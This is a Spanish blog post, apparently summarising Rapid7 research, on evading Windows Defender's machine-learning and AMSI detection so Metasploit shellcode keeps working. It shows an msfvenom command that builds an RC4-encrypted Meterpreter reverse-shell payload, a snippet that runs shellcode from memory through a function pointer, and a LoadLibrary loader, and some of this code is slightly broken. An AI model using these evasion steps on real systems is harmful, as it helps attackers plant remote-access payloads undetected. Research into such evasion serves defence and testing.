Cómo seguir usando el shellcode de Metasploit y no morir en el intento (o ser matado por los AVs)

Como sabéis, el shellcode de Metasploit es muy pequeño por varias razones tácticas. Sin embargo esto hace también más difícil mejorarlo, y todos los antivirus lo tienen "a fuego" clasificado como malicioso. Wei Chen de Rapid7 le ha dado un par de vueltas a las posibilidades que existen para seguir usando el shellcode de Metasploit pero sin que sea detectado por los AVs más populares. Veamos...

Machine Learning

La mayoría de los motores de antivirus modernos funcionan con machine learning (en adelante ML), y este ha sido un gran cambio en el juego de la evasión AV. Los motores de AV no solo son mucho más inteligentes para detectar amenazas potenciales, sino que también responden mucho más rápido. Tan pronto como el comportamiento de su código tenga un aspecto demasiado malicioso, que puede ser tan simple como usar la API de Windows incorrecta (como WriteProcessMemory o incluso VirtualAlloc), uno de los controles de IA lo obtendrá y se acabó el juego. Además, los investigadores de malware obtienen rápido la copia del código, por lo que la evasión se presenta cada vez más y más difícil.

Windows Defender no es una excepción e implementa un cliente de ML que se ejecuta localmente en cada máquina. Las clasificaciones, como las firmas tradicionales, la detección de comportamiento, los genéricos, la heurística, etc. recogen el 97% del malware en el cliente según Microsoft. Usando estos clasificadores, el cliente de ML también recopila "características" del programa, lo que significa datos medibles o características del objeto escaneado. Con todo ésto y según su modelo de árbol de decisión toma un veredicto, y si no puede llegar a un uno definitivo, utiliza un servicio en la nube para un análisis más profundo.

Antimalware Scan Interface

Antimalware Scan Interface (AMSI) es una interfaz de programación creada por Microsoft que permite que cualquier aplicación de Windows aproveche el motor de Windows Defender y escanee en busca de entradas maliciosas, lo que hace que la evasión AV sea aún más difícil.

Esto es muy útil por ejemplo en Powershell, ya que los antivirus no hacen un gran trabajo al verificarlo en comparación con un ejecutable tradicional. También puede pasar una línea de código de Powershell como argumento para Powershell.exe, lo que es bastante sigiloso porque técnicamente no está tocando el disco. Por ejemplo:
powershell.exe -command "Write-Output [Convert]::FromBase64String('SGVsbG8gV29ybGQh')"

El ejecutar esa línea de comando, Powershell realmente llama a la función AmsiScanBuffer para preguntar a Windows Defender si el código proporcionado por el usuario es malicioso o no:


Como veis, Powershell se está utilizando cada vez más por lo atacantes y los analistas están tomando las medidas oportunas para protegerse. La AMSI ofrece a todas las aplicaciones de Windows la posibilidad de beneficiarse de las capacidades de Windows Defender, lo que hace que sea más difícil abusar de los lenguajes de scripting como Powershell.

Cifrado

Pero no todo está perdido... A pesar de todas las tecnologías con las que Windows Defender está equipado, no deja de tener algunos puntos ciegos. Por ejemplo, el cifrado es una de esas cosas que anulan el escaneo estático del antivirus de manera efectiva, porque el motor AV no puede descifrarlo de inmediato. Actualmente, hay algunos algoritmos de cifrado que admite msfvenom para proteger eñ shellcode: AES256-CBC, RC4, Base64 y XOR.
ruby ./msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 --encrypt rc4 --encrypt-key thisisakey -f c

El comando anterior genera un payload windows/meterpreter/reverse_tcp cifrado con RC4. También se genera en formato C, para que se pueda construir su propio cargador en C/C ++.

Pero, aunque el antivirus no es bueno para escanear el shellcode cifrado de forma estática, la monitorización en tiempo de ejecución sigue siendo una sólida línea de defensa. Es fácil quedarse atrapado después de descifrarlo y ejecutarlo.

Separación

La detección en tiempo de ejecución es realmente difícil de engañar, porque al final, se debe ejecutar el código. Una vez que se ejecuta, el antivirus registra todos los movimientos y finalmente determina si es un malware. Sin embargo, esto parece ser un problema menor si puede separar el loader del payload en diferentes espacios de proceso.

Por ejemplo, se puede descifrar el shellcode perfectamente, pero tan pronto como se intenta ejecutar (todavía en memoria) desde un puntero de función como este, el AV lo detecta:
int (*func)();
func = (int (*)()) shellcode;
(int)(*func)();

Sin embargo, si se separa la última línea, los problemas desaparecen:
(int)(*func)();

Esto parece significar que, por lo general, está bien tener un código malicioso en memoria siempre que no lo ejecutes. El análisis en tiempo de ejecución probablemente depende mucho de qué código se ejecuta realmente; le importa menos lo que el programa podría hacer potencialmente. Esto tiene sentido, por supuesto. Si lo hace, la penalización de rendimiento sería demasiado alta.

Entonces, en lugar de usar un puntero de función, lo que hizo Wei Chen es usar LoadLibrary para resolver el problema con el loader:
#include <iostream>
#include <Windows.h>

int main(void) {
  HMODULE hMod = LoadLibrary("shellcode.dll");
  if (hMod == nullptr) {
    cout << "Failed to load shellcode.dll" << endl;
  }

  return 0;
}

Demo

La siguiente es una demostración que combina todas las técnicas descritas anteriormente:



Fuente: Hiding Metasploit Shellcode to Evade Windows Defender

Comentarios